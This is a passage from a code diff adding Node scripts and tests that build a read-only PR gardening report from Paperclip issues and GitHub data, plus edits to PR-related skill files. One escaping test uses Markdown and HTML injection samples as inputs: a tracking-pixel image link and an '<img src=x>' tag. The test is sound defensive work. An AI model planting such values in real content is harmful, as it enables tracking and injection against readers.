purpose: summarizePullRequestBody(pullRequest.body),
state: pullRequest.state.toLowerCase(),
isDraft: pullRequest.isDraft,
headSha: pullRequest.headRefOid,
baseRefName: pullRequest.baseRefName,
headRefName: pullRequest.headRefName,
mergeable: (pullRequest.mergeable ?? "UNKNOWN").toLowerCase(),
mergeStateStatus: (pullRequest.mergeStateStatus ?? "UNKNOWN").toLowerCase(),
reviewDecision: pullRequest.reviewDecision || null,
behindBy: comparison.behind_by ?? 0,
checks,
greptile,
originatingIssue: candidate.originatingIssue,
sourceIssues: candidate.sourceIssues,
...assessment,
};
entry.confidence = confidenceFor(entry);
results.push(entry);
}
return {
schemaVersion: 1,
generatedAt: new Date().toISOString(),
repository,
windowDays: candidatesDocument.windowDays ?? null,
authors: candidatesDocument.query?.authors ?? null,
truncatedIssues: candidatesDocument.source?.truncatedIssues ?? [],
candidatesGeneratedAt: candidatesDocument.generatedAt,
dryRun: Boolean(options.dry_run ?? candidatesDocument.dryRun),
summary: {
total: results.length,
ready: results.filter((entry) => entry.verdict === "ready").length,
needsGardening: results.filter((entry) => entry.verdict === "needs_gardening").length,
reportOnly: results.filter((entry) => entry.verdict === "report_only").length,
},
pullRequests: results,
};
}
async function main() {
const options = parseArgs(process.argv.slice(2), { input: "candidates.json", output: "readiness.json" });
writeJson(options.output, await checkReadiness(readJson(options.input), options));
}
if (import.meta.url === pathToFileURL(process.argv[1]).href) {
main().catch((error) => {
console.error(error.message);
process.exitCode = 1;
});
}
+204
View File
@@ -0,0 +1,204 @@
#!/usr/bin/env node
import { pathToFileURL } from "node:url";
import {
chooseOriginatingIssue,
extractPullRequestNumber,
ghJson,
isMissingPullRequestError,
issueSummary,
normalizeRepository,
paperclipGet,
parseArgs,
prUrl,
repositoryFromGh,
resolveAuthorAllowlist,
writeJson,
} from "./lib.mjs";
export async function findCandidates(options) {
const getPaperclip = options.paperclip_get ?? paperclipGet;
const getGhJson = options.gh_json ?? ghJson;
const repository = normalizeRepository(options.repo ?? repositoryFromGh());
const authorAllowlist = resolveAuthorAllowlist(options, getGhJson);
const days = Number(options.days ?? 14);
if (!Number.isInteger(days) || days < 1 || days > 999) throw new Error("--days must be an integer from 1 to 999");
const now = options.now ? new Date(options.now) : new Date();
const windowStartMs = now.getTime() - days * 24 * 60 * 60 * 1000;
const apiUrl = options.api_url ?? process.env.PAPERCLIP_API_URL;
const apiKey = options.api_key ?? process.env.PAPERCLIP_API_KEY;
const companyId = options.company_id ?? process.env.PAPERCLIP_COMPANY_ID;
if (!apiUrl || !apiKey || !companyId) {
throw new Error("PAPERCLIP_API_URL, PAPERCLIP_API_KEY, and PAPERCLIP_COMPANY_ID are required");
}
const contains = `github.com/${repository}/pull`;
const limit = 200;
const matchesPerIssue = 200;
const issueMap = new Map();
let offset = 0;
while (true) {
const query = new URLSearchParams({
contains,
kind: "url",
scope: "all",
updatedWithin: `${days}d`,
limit: String(limit),
offset: String(offset),
matchesPerIssue: String(matchesPerIssue),
});
const page = await getPaperclip(`/companies/${companyId}/search/extract?${query}`, { apiUrl, apiKey });
for (const issue of page.results) issueMap.set(issue.issueId, issue);
if (!page.hasMore) break;
offset += limit;
if (offset > 5000) throw new Error("Extract-search pagination exceeded the supported 5000 issue offset");
}
// Issues that hit the per-issue match cap (typically digest/QA issues that
// enumerate hundreds of PR URLs) lose mentions beyond the cap. That only
// weakens attribution for those issues, so record them and continue rather
// than refusing the whole run.
const truncatedIssues = [...issueMap.values()]
.filter((issue) => issue.matchesTruncated)
.map((issue) => ({ issueId: issue.issueId, identifier: issue.identifier, title: issue.title }));
if (truncatedIssues.length > 0) {
process.stderr.write(
`warning: ${truncatedIssues.length} issue(s) exceeded the ${matchesPerIssue}-match extract cap; PR mentions beyond the cap were not scanned: ${truncatedIssues.map((issue) => issue.identifier ?? issue.issueId).join(", ")}\n`,
);
}
const pullRequests = new Map();
for (const issue of issueMap.values()) {
for (const match of issue.matches) {
const number = extractPullRequestNumber(match.value, repository);
if (!number) continue;
const entry = pullRequests.get(number) ?? { number, issueMentions: new Map() };
const sourceIssue = entry.issueMentions.get(issue.issueId) ?? {
...issueSummary(issue),
mentions: [],
workProducts: [],
};
sourceIssue.mentions.push({
value: match.value,
field: match.field,
label: match.label,
source: match.source,
});
entry.issueMentions.set(issue.issueId, sourceIssue);
pullRequests.set(number, entry);
}
}
const uniqueIssueIds = new Set([...pullRequests.values()].flatMap((entry) => [...entry.issueMentions.keys()]));
const issueIds = [...uniqueIssueIds];
const workers = Array.from({ length: Math.min(8, issueIds.length) }, async (_, workerIndex) => {
for (let index = workerIndex; index < issueIds.length; index += 8) {
const issueId = issueIds[index];
const workProducts = await getPaperclip(`/issues/${issueId}/work-products`, { apiUrl, apiKey });
for (const entry of pullRequests.values()) {
const issue = entry.issueMentions.get(issueId);
if (issue) issue.workProducts = workProducts;
}
}
});
await Promise.all(workers);
const candidates = [];
const closed = [];
const unavailable = [];
const community = [];
const stale = [];
for (const entry of [...pullRequests.values()].sort((left, right) => left.number - right.number)) {
let pullRequest;
try {
pullRequest = getGhJson([
"pr",
"view",
String(entry.number),
"--repo",
repository,
"--json",
"number,url,title,author,state,isDraft,headRefOid,updatedAt",
]);
} catch (error) {
if (!isMissingPullRequestError(error)) throw error;
unavailable.push({
number: entry.number,
url: prUrl(repository, entry.number),
state: "unavailable",
reason: "GitHub could not resolve this pull request",
});
continue;
}
const author = pullRequest.author?.login ?? null;
if (authorAllowlist && !authorAllowlist.includes(author?.toLowerCase())) {
community.push({
number: entry.number,
url: prUrl(repository, entry.number),
author,
state: pullRequest.state.toLowerCase(),
});
continue;
}
const sourceIssues = [...entry.issueMentions.values()].sort((left, right) => right.updatedAt.localeCompare(left.updatedAt));
const candidate = {
number: pullRequest.number,
url: pullRequest.url,
title: pullRequest.title,
author,
state: pullRequest.state.toLowerCase(),
isDraft: pullRequest.isDraft,
headSha: pullRequest.headRefOid,
updatedAt: pullRequest.updatedAt,
sourceIssues,
originatingIssue: chooseOriginatingIssue(sourceIssues, prUrl(repository, entry.number)),
};
if (pullRequest.state !== "OPEN") {
closed.push({ number: candidate.number, url: candidate.url, state: candidate.state });
} else if (new Date(pullRequest.updatedAt).getTime() < windowStartMs) {
// A recently active issue can mention a long-dormant PR (old digests,
// salvage discussions); gardening only drives PRs with activity inside
// the window.
stale.push({ number: candidate.number, url: candidate.url, author, updatedAt: pullRequest.updatedAt });
} else {
candidates.push(candidate);
}
}
return {
schemaVersion: 1,
generatedAt: new Date().toISOString(),
repository,
windowDays: days,
dryRun: Boolean(options.dry_run),
query: { contains, kind: "url", scope: "all", updatedWithin: `${days}d`, authors: authorAllowlist },
source: {
issueCount: issueMap.size,
mentionCount: [...pullRequests.values()].reduce(
(total, entry) => total + [...entry.issueMentions.values()].reduce((sum, issue) => sum + issue.mentions.length, 0),
0,
),
distinctPullRequestCount: pullRequests.size,
openPullRequestCount: candidates.length,
droppedClosedPullRequests: closed,
droppedUnavailablePullRequests: unavailable,
droppedCommunityPullRequests: community,
droppedStalePullRequests: stale,
truncated: truncatedIssues.length > 0,
truncatedIssues,
},
candidates,
};
}
async function main() {
const options = parseArgs(process.argv.slice(2), { output: "candidates.json" });
writeJson(options.output, await findCandidates(options));
}
if (import.meta.url === pathToFileURL(process.argv[1]).href) {
main().catch((error) => {
console.error(error.message);
process.exitCode = 1;
});
}
+192
View File
@@ -0,0 +1,192 @@
import { spawnSync } from "node:child_process";
import { readFileSync, writeFileSync } from "node:fs";
export const GREEN_CHECK_CONCLUSIONS = new Set(["SUCCESS", "NEUTRAL", "SKIPPED"]);
export const GREEN_STATUS_STATES = new Set(["SUCCESS"]);
export const TERMINAL_ISSUE_STATUSES = new Set(["done", "cancelled"]);
const GH_JSON_MAX_BUFFER_BYTES = 50 * 1024 * 1024;
export function parseArgs(argv, defaults = {}) {
const args = { ...defaults };
for (let index = 0; index < argv.length; index += 1) {
const token = argv[index];
if (!token.startsWith("--")) throw new Error(`Unexpected argument: ${token}`);
const key = token.slice(2).replaceAll("-", "_");
const next = argv[index + 1];
if (!next || next.startsWith("--")) {
args[key] = true;
continue;
}
args[key] = next;
index += 1;
}
return args;
}
export function readJson(path) {
return JSON.parse(readFileSync(path, "utf8"));
}
export function writeJson(path, value) {
const body = `${JSON.stringify(value, null, 2)}\n`;
if (path === "-") process.stdout.write(body);
else writeFileSync(path, body);
}
export function ghJson(args) {
const result = spawnSync("gh", args, {
encoding: "utf8",
maxBuffer: GH_JSON_MAX_BUFFER_BYTES,
stdio: ["ignore", "pipe", "pipe"],
});
// Surface gh diagnostics (warnings, deprecation/auth notices, error output)
// on both success and failure — spawnSync captures stderr in every case.
if (result.stderr) process.stderr.write(result.stderr);
if (result.error) throw result.error;
if (result.status !== 0) {
const error = new Error(`gh ${args.join(" ")} exited with status ${result.status}`);
error.stderr = result.stderr;
error.status = result.status;
throw error;
}
return JSON.parse(result.stdout);
}
export function isMissingPullRequestError(error) {
const detail = `${error?.message ?? ""}\n${error?.stderr ?? ""}`;
// Scope to the exact signals gh emits for a deleted/nonexistent PR: the GraphQL
// "Could not resolve to a PullRequest" message and REST "Not Found (HTTP 404)".
// A bare "Not Found" would over-match unrelated failures (e.g. "repository not
// found"), so we require the HTTP 404 marker for the REST case.
return /Could not resolve to a PullRequest|HTTP 404/i.test(detail);
}
export function normalizeRepository(value) {
const match = String(value).match(/(?:github\.com[/:])?([^/\s]+)\/([^/\s]+?)(?:\.git)?$/i);
if (!match) throw new Error(`Invalid GitHub repository: ${value}`);
return `${match[1]}/${match[2]}`;
}
export function repositoryFromGh() {
return normalizeRepository(ghJson(["repo", "view", "--json", "nameWithOwner"]).nameWithOwner);
}
export function prUrl(repository, number) {
return `https://github.com/${repository}/pull/${number}`;
}
export function resolveAuthorAllowlist(options, getGhJson) {
if (options.include_community) return null;
if (options.authors === true) throw new Error("--authors requires a comma-separated list of GitHub logins");
// Default to the authenticated gh identity: every PR this Paperclip instance
// opens is authored by that login, so it is the scope boundary that excludes
// community contributions without maintaining a separate roster.
const raw = options.authors ?? getGhJson(["api", "user"]).login;
const authors = String(raw)
.split(",")
.map((login) => login.trim().toLowerCase())
.filter(Boolean);
if (authors.length === 0) throw new Error("--authors requires at least one GitHub login");
return authors;
}
export function summarizePullRequestBody(body) {
const text = String(body ?? "")
.replace(/<!--[\s\S]*?-->/g, "")
.replaceAll("\r", "");
for (const block of text.split(/\n\s*\n/)) {
const line = block
.split("\n")
.map((entry) => entry.replace(/^[\s>]*(?:[-*]\s+)?/, "").trim())
.filter((entry) => entry && !entry.startsWith("#"))
.join(" ");
if (!line) continue;
return line.length > 280 ? `${line.slice(0, 277)}…` : line;
}
return null;
}
export function pullRequestIdentity(value) {
const match = String(value).match(/(?:https?:\/\/)?github\.com\/([^/\s]+)\/([^/\s]+)\/pull\/(\d+)/i);
if (!match) return null;
return `${match[1].toLowerCase()}/${match[2].toLowerCase()}#${Number(match[3])}`;
}
export function extractPullRequestNumber(value, repository) {
const identity = pullRequestIdentity(value);
const prefix = `${repository.toLowerCase()}#`;
return identity?.startsWith(prefix) ? Number(identity.slice(prefix.length)) : null;
}
export async function paperclipGet(path, { apiUrl, apiKey }) {
const response = await fetch(`${apiUrl.replace(/\/$/, "")}/api${path}`, {
headers: { Authorization: `Bearer ${apiKey}` },
});
if (!response.ok) {
const body = await response.text();
throw new Error(`Paperclip GET ${path} failed (${response.status}): ${body}`);
}
return response.json();
}
export function issueSummary(issue) {
return {
issueId: issue.issueId,
identifier: issue.identifier,
title: issue.title,
status: issue.status,
assigneeAgentId: issue.assigneeAgentId,
updatedAt: issue.updatedAt,
};
}
export function chooseOriginatingIssue(sourceIssues, pullRequestUrl) {
const targetIdentity = pullRequestIdentity(pullRequestUrl);
const workProductIssue = sourceIssues.find((issue) =>
issue.workProducts?.some(
(product) => product.type === "pull_request" && pullRequestIdentity(product.url) === targetIdentity,
),
);
if (workProductIssue) return { ...issueSummary(workProductIssue), selectionBasis: "pull_request_work_product" };
const commentIssues = sourceIssues
.filter((issue) => issue.mentions.some((mention) => mention.field === "comment"))
.sort((left, right) => right.updatedAt.localeCompare(left.updatedAt));
if (commentIssues[0]) return { ...issueSummary(commentIssues[0]), selectionBasis: "comment_mention" };
const recentIssue = [...sourceIssues].sort((left, right) => right.updatedAt.localeCompare(left.updatedAt))[0];
return recentIssue ? { ...issueSummary(recentIssue), selectionBasis: "most_recent_mention" } : null;
}
export function normalizeCheck(context) {
if (context.__typename === "CheckRun") {
return {
type: "check_run",
name: context.name,
status: context.status,
conclusion: context.conclusion,
detailsUrl: context.detailsUrl ?? null,
workflowName: context.workflowName ?? null,
green: context.status === "COMPLETED" && GREEN_CHECK_CONCLUSIONS.has(context.conclusion),
pending: context.status !== "COMPLETED",
};
}
return {
type: "status_context",
name: context.context,
status: context.state,
conclusion: context.state,
detailsUrl: context.targetUrl ?? null,
workflowName: null,
green: GREEN_STATUS_STATES.has(context.state),
pending: context.state === "PENDING" || context.state === "EXPECTED",
};
}
export function reason(code, message, severity = "blocking", details = {}) {
return { code, severity, message, ...details };
}
export function isTerminalIssue(status) {
return TERMINAL_ISSUE_STATUSES.has(status);
}
@@ -0,0 +1,317 @@
import assert from "node:assert/strict";
import test from "node:test";
import { confidenceFor, readinessVerdict } from "./check-readiness.mjs";
import { findCandidates } from "./find-candidates.mjs";
import {
chooseOriginatingIssue,
extractPullRequestNumber,
isMissingPullRequestError,
normalizeCheck,
resolveAuthorAllowlist,
summarizePullRequestBody,
} from "./lib.mjs";
import { renderReport } from "./render-report.mjs";
test("extracts only pull requests from the requested repository", () => {
assert.equal(extractPullRequestNumber("https://github.com/paperclipai/paperclip/pull/9507", "paperclipai/paperclip"), 9507);
assert.equal(extractPullRequestNumber("github.com/paperclipai/paperclip/pull/9507", "paperclipai/paperclip"), 9507);
assert.equal(extractPullRequestNumber("https://github.com/other/repo/pull/9507", "paperclipai/paperclip"), null);
});
test("origin selection prioritizes work products then comment mentions", () => {
const issues = [
{
issueId: "recent",
identifier: "PAP-2",
title: "Recent",
status: "in_progress",
assigneeAgentId: "agent-2",
updatedAt: "2026-07-13T12:00:00Z",
mentions: [{ field: "description" }],
workProducts: [],
},
{
issueId: "origin",
identifier: "PAP-1",
title: "Origin",
status: "done",
assigneeAgentId: "agent-1",
updatedAt: "2026-07-12T12:00:00Z",
mentions: [{ field: "comment" }],
workProducts: [{ type: "pull_request", url: "http://github.com/paperclipai/paperclip/pull/9507?source=paperclip#review" }],
},
];
assert.equal(chooseOriginatingIssue(issues, "https://github.com/paperclipai/paperclip/pull/9507").issueId, "origin");
});
function discoveryFixture() {
let extractPath = "";
const paperclipGet = async (path) => {
if (path.includes("search/extract")) {
extractPath = path;
return {
hasMore: false,
results: [
{
issueId: "issue-1",
identifier: "PAP-1",
title: "Source",
status: "done",
assigneeAgentId: "agent-1",
updatedAt: "2026-07-13T00:00:00Z",
matchesTruncated: false,
matches: [
{ value: "https://github.com/paperclipai/paperclip/pull/1", field: "comment", label: "Comment", source: { type: "comment", commentId: "c1" } },
{ value: "https://github.com/paperclipai/paperclip/pull/1", field: "document_body", label: "Document", source: { type: "document", documentId: "d1", documentKey: "plan" } },
{ value: "https://github.com/paperclipai/paperclip/pull/2", field: "description", label: "Description", source: { type: "issue", issueId: "issue-1" } },
{ value: "https://github.com/paperclipai/paperclip/pull/3", field: "description", label: "Description", source: { type: "issue", issueId: "issue-1" } },
{ value: "https://github.com/paperclipai/paperclip/pull/4", field: "comment", label: "Comment", source: { type: "comment", commentId: "c2" } },
],
},
],
};
}
return [{ type: "pull_request", url: "https://github.com/paperclipai/paperclip/pull/1/" }];
};
const ghJson = (args) => {
if (args[0] === "api" && args[1] === "user") return { login: "Cryppadotta" };
const number = Number(args[2]);
if (number === 3) throw new Error("GraphQL: Could not resolve to a PullRequest with the number of 3");
return {
number,
url: `https://github.com/paperclipai/paperclip/pull/${number}`,
title: `PR ${number}`,
author: { login: number === 4 ? "community-dev" : "cryppadotta" },
state: number === 1 || number === 4 ? "OPEN" : "MERGED",
isDraft: false,
headRefOid: `sha-${number}`,
updatedAt: "2026-07-13T00:00:00Z",
};
};
return { paperclipGet, ghJson, extractPath: () => extractPath };
}
test("candidate discovery deduplicates mentions, drops closed PRs, and excludes community authors by default", async () => {
const fixture = discoveryFixture();
const result = await findCandidates({
repo: "paperclipai/paperclip",
api_url: "http://paperclip.test",
api_key: "test-key",
company_id: "company-1",
now: "2026-07-20T00:00:00Z",
paperclip_get: fixture.paperclipGet,
gh_json: fixture.ghJson,
});
assert.deepEqual(result.candidates.map((candidate) => candidate.number), [1]);
assert.equal(result.candidates[0].author, "cryppadotta");
const query = new URL(`http://paperclip.test${fixture.extractPath()}`).searchParams;
assert.equal(query.get("matchesPerIssue"), "200");
assert.equal(query.get("updatedWithin"), "14d");
assert.deepEqual(result.query.authors, ["cryppadotta"]);
assert.equal(result.candidates[0].sourceIssues[0].mentions.length, 2);
assert.equal(result.candidates[0].originatingIssue.selectionBasis, "pull_request_work_product");
assert.deepEqual(result.source.droppedClosedPullRequests.map((pullRequest) => pullRequest.number), [2]);
assert.deepEqual(result.source.droppedUnavailablePullRequests.map((pullRequest) => pullRequest.number), [3]);
assert.deepEqual(
result.source.droppedCommunityPullRequests.map((pullRequest) => [pullRequest.number, pullRequest.author]),
[[4, "community-dev"]],
);
});
test("capped match sets are recorded instead of aborting discovery", async () => {
const fixture = discoveryFixture();
const paperclipGet = async (path) => {
const page = await fixture.paperclipGet(path);
if (!path.includes("search/extract")) return page;
return { ...page, results: page.results.map((issue) => ({ ...issue, matchesTruncated: true })) };
};
const result = await findCandidates({
repo: "paperclipai/paperclip",
api_url: "http://paperclip.test",
api_key: "test-key",
company_id: "company-1",
now: "2026-07-20T00:00:00Z",
paperclip_get: paperclipGet,
gh_json: fixture.ghJson,
});
assert.deepEqual(result.candidates.map((candidate) => candidate.number), [1]);
assert.equal(result.source.truncated, true);
assert.deepEqual(result.source.truncatedIssues.map((issue) => issue.identifier), ["PAP-1"]);
});
test("--include-community disables the author filter", async () => {
const fixture = discoveryFixture();
const result = await findCandidates({
repo: "paperclipai/paperclip",
api_url: "http://paperclip.test",
api_key: "test-key",
company_id: "company-1",
include_community: true,
now: "2026-07-20T00:00:00Z",
paperclip_get: fixture.paperclipGet,
gh_json: fixture.ghJson,
});
assert.deepEqual(result.candidates.map((candidate) => candidate.number), [1, 4]);
assert.equal(result.query.authors, null);
assert.deepEqual(result.source.droppedCommunityPullRequests, []);
});
test("open PRs with no activity inside the window are dropped as stale", async () => {
const fixture = discoveryFixture();
const result = await findCandidates({
repo: "paperclipai/paperclip",
api_url: "http://paperclip.test",
api_key: "test-key",
company_id: "company-1",
now: "2026-09-01T00:00:00Z",
paperclip_get: fixture.paperclipGet,
gh_json: fixture.ghJson,
});
assert.deepEqual(result.candidates, []);
assert.deepEqual(
result.source.droppedStalePullRequests.map((pullRequest) => pullRequest.number),
[1],
);
});
test("author allowlist resolves from gh identity and honors --authors overrides", () => {
const ghJson = () => ({ login: "Cryppadotta" });
assert.deepEqual(resolveAuthorAllowlist({}, ghJson), ["cryppadotta"]);
assert.deepEqual(resolveAuthorAllowlist({ authors: "Alice, bob" }, ghJson), ["alice", "bob"]);
assert.equal(resolveAuthorAllowlist({ include_community: true }, ghJson), null);
assert.throws(() => resolveAuthorAllowlist({ authors: true }, ghJson), /comma-separated list/);
});
test("summarizes PR bodies into a one-line purpose", () => {
assert.equal(
summarizePullRequestBody("<!-- generated -->\n## Summary\n\nFixes the flaky retry loop\nso wakes stop duplicating.\n\nDetails follow."),
"Fixes the flaky retry loop so wakes stop duplicating.",
);
assert.equal(
summarizePullRequestBody("> - Paperclip is the control plane.\n> - Blocker edges gate work."),
"Paperclip is the control plane. Blocker edges gate work.",
);
assert.equal(summarizePullRequestBody(""), null);
assert.equal(summarizePullRequestBody(null), null);
assert.equal(summarizePullRequestBody(`${"x".repeat(400)}`).length, 278);
});
test("missing-PR detection matches only deleted/nonexistent PR signals", () => {
// gh's real signals for a deleted/nonexistent PR: GraphQL resolution failure and REST 404.
assert.equal(isMissingPullRequestError(new Error("GraphQL: Could not resolve to a PullRequest with the number of 3")), true);
assert.equal(isMissingPullRequestError({ stderr: "gh: Not Found (HTTP 404)" }), true);
// Unrelated failures that merely contain "not found" must not be treated as skippable.
assert.equal(isMissingPullRequestError(new Error("repository not found")), false);
assert.equal(isMissingPullRequestError(new Error("could not connect to github.com")), false);
assert.equal(isMissingPullRequestError(undefined), false);
});
test("normalizes check runs and status contexts", () => {
assert.equal(normalizeCheck({ __typename: "CheckRun", name: "ci", status: "COMPLETED", conclusion: "SUCCESS" }).green, true);
assert.equal(normalizeCheck({ __typename: "StatusContext", context: "legacy", state: "FAILURE" }).green, false);
});
test("drafts are report-only and missing Greptile blocks normal PRs", () => {
const base = {
pullRequest: { state: "OPEN", isDraft: false, mergeable: "MERGEABLE", reviewDecision: "APPROVED" },
checks: { checks: [{}], pending: [], failing: [] },
greptile: { present: false, pending: false, clean: false },
behindBy: 0,
originatingIssue: { status: "done", identifier: "PAP-1" },
};
assert.equal(readinessVerdict(base).verdict, "needs_gardening");
assert.equal(readinessVerdict({ ...base, pullRequest: { ...base.pullRequest, isDraft: true } }).verdict, "report_only");
});
test("unresolved nullable mergeability is reported instead of crashing", () => {
const result = readinessVerdict({
pullRequest: { state: "OPEN", isDraft: false, mergeable: null, mergeStateStatus: null, reviewDecision: "" },
checks: { checks: [{}], pending: [], failing: [] },
greptile: { present: true, pending: false, clean: true },
behindBy: 0,
originatingIssue: { status: "done", identifier: "PAP-1" },
});
assert.equal(result.verdict, "needs_gardening");
assert.equal(result.reasons[0].code, "mergeability_unknown");
});
test("renders scope, purpose, confidence groups, and immutable guardrail", () => {
const entry = {
number: 1,
url: "https://github.com/paperclipai/paperclip/pull/1",
title: "Example",
author: "cryppadotta",
purpose: "Fixes the retry loop.",
state: "open",
isDraft: false,
verdict: "ready",
confidence: "high",
headSha: "abc",
originatingIssue: { identifier: "PAP-1", status: "done" },
checks: { checks: [{}], pending: [], failing: [] },
greptile: { clean: true, present: true },
behindBy: 0,
baseRefName: "master",
reasons: [],
};
assert.equal(confidenceFor(entry), "high");
const report = renderReport({
repository: "paperclipai/paperclip",
windowDays: 14,
authors: ["cryppadotta"],
generatedAt: "2026-07-13T00:00:00Z",
summary: { ready: 1, needsGardening: 0, reportOnly: 0 },
pullRequests: [entry],
});
assert.match(report, /Scope: PRs authored by `cryppadotta` \(this Paperclip instance\) referenced by issues active in the last 14 day\(s\)/);
assert.match(report, /- Purpose: Fixes the retry loop\./);
assert.match(report, /- Author: `cryppadotta`/);
assert.match(report, /## High Confidence/);
assert.match(report, /never merges, approves, or closes/);
});
test("escapes contributor-controlled Markdown in report titles and purposes", () => {
const report = renderReport({
repository: "paperclipai/paperclip",
windowDays: 14,
authors: null,
generatedAt: "2026-07-27T00:00:00Z",
summary: { ready: 0, needsGardening: 1, reportOnly: 0 },
pullRequests: [
{
number: 2,
url: "https://github.com/paperclipai/paperclip/pull/2",
title: "[Injected](https://example.test)",
author: "community-user",
purpose: "![tracking pixel](https://example.test/pixel.png) <img src=x>",
state: "open",
isDraft: false,
verdict: "needs_gardening",
confidence: "medium",
headSha: "def",
originatingIssue: null,
checks: { checks: [{}], pending: [], failing: [] },
greptile: { clean: false, present: false },
behindBy: 0,
baseRefName: "master",
reasons: [],
},
],
});
assert.ok(report.includes("\\[Injected\\]\\(https://example.test\\)"));
assert.ok(report.includes("\\!\\[tracking pixel\\]\\(https://example.test/pixel.png\\)"));
assert.ok(report.includes("\\<img src=x\\>"));
assert.doesNotMatch(report, /!\[tracking pixel\]|<img src=x>/);
});
test("scripts contain no mutating GitHub commands", async () => {
const { readFile } = await import("node:fs/promises");
const scripts = await Promise.all([
readFile(new URL("./find-candidates.mjs", import.meta.url), "utf8"),
readFile(new URL("./check-readiness.mjs", import.meta.url), "utf8"),
readFile(new URL("./render-report.mjs", import.meta.url), "utf8"),
]);
const source = scripts.join("\n");
assert.doesNotMatch(source, /\bgh\s+pr\s+(merge|close|review|comment|ready|reopen)\b/i);
assert.doesNotMatch(source, /--method\s+(POST|PATCH|PUT|DELETE)\b/i);
});
+99
View File
@@ -0,0 +1,99 @@
#!/usr/bin/env node
import { writeFileSync } from "node:fs";
import { pathToFileURL } from "node:url";
import { parseArgs, readJson } from "./lib.mjs";
const LABELS = { high: "High", medium: "Medium", low: "Low" };
function escapeMarkdownText(value) {
return String(value).replace(/([\\`*_[\]()!|<>])/g, "\\$1");
}
function issueLabel(issue) {
if (!issue) return "No originating issue";
return issue.identifier ? `${issue.identifier} (${issue.status})` : `${issue.issueId} (${issue.status})`;
}
function reasonText(entry) {
if (entry.reasons.length === 0) return "All mechanical readiness gates passed.";
return entry.reasons.map((entryReason) => entryReason.message).join("; ");
}
function scopeText(readiness) {
const authors = readiness.authors?.length
? `PRs authored by ${readiness.authors.map((author) => `\`${author}\``).join(", ")} (this Paperclip instance)`
: "PRs by any author (community included)";
const window = readiness.windowDays ? ` referenced by issues active in the last ${readiness.windowDays} day(s)` : "";
return `${authors}${window}`;
}
export function renderReport(readiness) {
const lines = [
"# PR Gardening Report",
"",
`Repository: \`${readiness.repository}\` `,
`Scope: ${scopeText(readiness)} `,
`Generated: ${readiness.generatedAt} `,
`Head-SHA verification: every verdict below was computed from the recorded current head SHA.`,
"",
`Summary: **${readiness.summary.ready} ready**, **${readiness.summary.needsGardening} need gardening**, **${readiness.summary.reportOnly} report-only drafts**.`,
"",
];
if (readiness.truncatedIssues?.length) {
lines.push(
`Discovery caveat: ${readiness.truncatedIssues.length} issue(s) hit the per-issue extract match cap, so PR mentions beyond the cap were not scanned: ${readiness.truncatedIssues.map((issue) => issue.identifier ?? issue.issueId).join(", ")}.`,
"",
);
}
for (const confidence of ["high", "medium", "low"]) {
const entries = readiness.pullRequests.filter((entry) => entry.confidence === confidence && entry.state === "open");
lines.push(`## ${LABELS[confidence]} Confidence`, "");
if (entries.length === 0) {
lines.push("_None._", "");
continue;
}
for (const entry of entries) {
const draft = entry.isDraft ? " — draft (report only)" : "";
lines.push(
`### [#${entry.number}](${entry.url}) — ${escapeMarkdownText(entry.title)}${draft}`,
"",
`- Purpose: ${escapeMarkdownText(entry.purpose ?? "No description provided.")}`,
`- Author: ${entry.author ? `\`${entry.author}\`` : "unknown"}`,
`- Verdict: \`${entry.verdict}\``,
`- Head: \`${entry.headSha}\``,
`- Originating issue: ${issueLabel(entry.originatingIssue)}`,
`- Checks: ${entry.checks.checks.length - entry.checks.pending.length - entry.checks.failing.length} green, ${entry.checks.pending.length} pending, ${entry.checks.failing.length} failing`,
`- Greptile: ${entry.greptile.clean ? "clean" : entry.greptile.present ? "not clean/current" : "missing"}`,
`- Base distance: ${entry.behindBy} commit(s) behind \`${entry.baseRefName}\``,
`- Reasons: ${reasonText(entry)}`,
"",
);
}
}
lines.push(
"## Guardrail",
"",
"This report is advisory. The gardening workflow never merges, approves, or closes pull requests and never instructs anyone to merge them.",
"",
);
return `${lines.join("\n")}\n`;
}
function main() {
const options = parseArgs(process.argv.slice(2), { input: "readiness.json", output: "gardening-report.md" });
const report = renderReport(readJson(options.input));
if (options.output === "-") process.stdout.write(report);
else writeFileSync(options.output, report);
}
if (import.meta.url === pathToFileURL(process.argv[1]).href) {
try {
main();
} catch (error) {
console.error(error.message);
process.exitCode = 1;
}
}
+3 -4
View File
@@ -1,10 +1,9 @@
---
name: pr-report
description: >
Review a pull request or contribution deeply, explain it tutorial-style for a
maintainer, and produce a polished report artifact such as HTML or Markdown.
Use when asked to analyze a PR, explain a contributor's design decisions,
compare it with similar systems, or prepare a merge recommendation.
Produce a maintainer-grade PR or contribution report as HTML or Markdown. Use
when asked to deeply review a PR, explain a design, compare systems, or prepare
a merge recommendation.
---
# PR Report Skill
+3 -6
View File
@@ -1,12 +1,9 @@
---
name: prcheckloop
description: >
Iteratively gets a GitHub pull request's checks green. Detects the PR for the
current branch or uses a provided PR number, waits for every check on the
latest head SHA to appear and finish, investigates failing checks, fixes
actionable code or test issues, pushes, and repeats. Escalates with a precise
blocker when failures are external, flaky, or not safely fixable. Use when a
PR still has unsuccessful checks after review fixes, including after greploop.
Iterate on a GitHub PR until latest-head checks are green or a precise blocker
is named. Use when a PR still has failing or pending checks after review fixes,
including after greploop.
---
# PRCheckloop
@@ -0,0 +1,85 @@
---
name: prepare-paperclip-pr
description: Prepare a Paperclip branch for PR with commits, template body, and checks.
---
# Prepare Paperclip PR
The standard Paperclip procedure for turning branch work into a reviewed,
green pull request against `paperclipai/paperclip` master. Apply it once per
PR (if a task splits a branch into several PRs, run the whole procedure for
each one).
## 0. Preconditions — worktree safety
* Do all PR work in a **git worktree** on a dedicated branch. The main
`~/paperclip` checkout typically runs the live Paperclip server — never
check out branches there. If you are already on a worktree/branch, verify it
(`git rev-parse --git-dir`, `git branch --show-current`) and proceed.
* If the main checkout is unexpectedly off `master`, fix that first without
losing work (usually: move that branch's work into a worktree).
* Confirm which remote/ref you are targeting (normally `master` on the
`paperclipai/paperclip` repo; the task may name a specific remote such as
`origin` or `public-gh`).
## 1. Commit everything — lose no work
* Make **logical commits** of all uncommitted changes before anything else.
Do not stash and forget; do not leave files behind. If commits are missing,
make them.
* Commit messages must end with exactly:
`Co-Authored-By: Paperclip <noreply@paperclip.ing>`
## 2. Get changes cleanly on top of master
* Fetch the target remote and rebase (or otherwise replay) your branch on top
of the target master so the PR has no merge conflicts.
* Re-verify after rebase: build/tests relevant to the change still pass at
whatever depth the task warrants.
## 3. Guardrails checklist (every PR)
* **Never commit `pnpm-lock.yaml`** — the repo has actions that manage it.
If it is already in a commit, rewrite/drop that change before pushing.
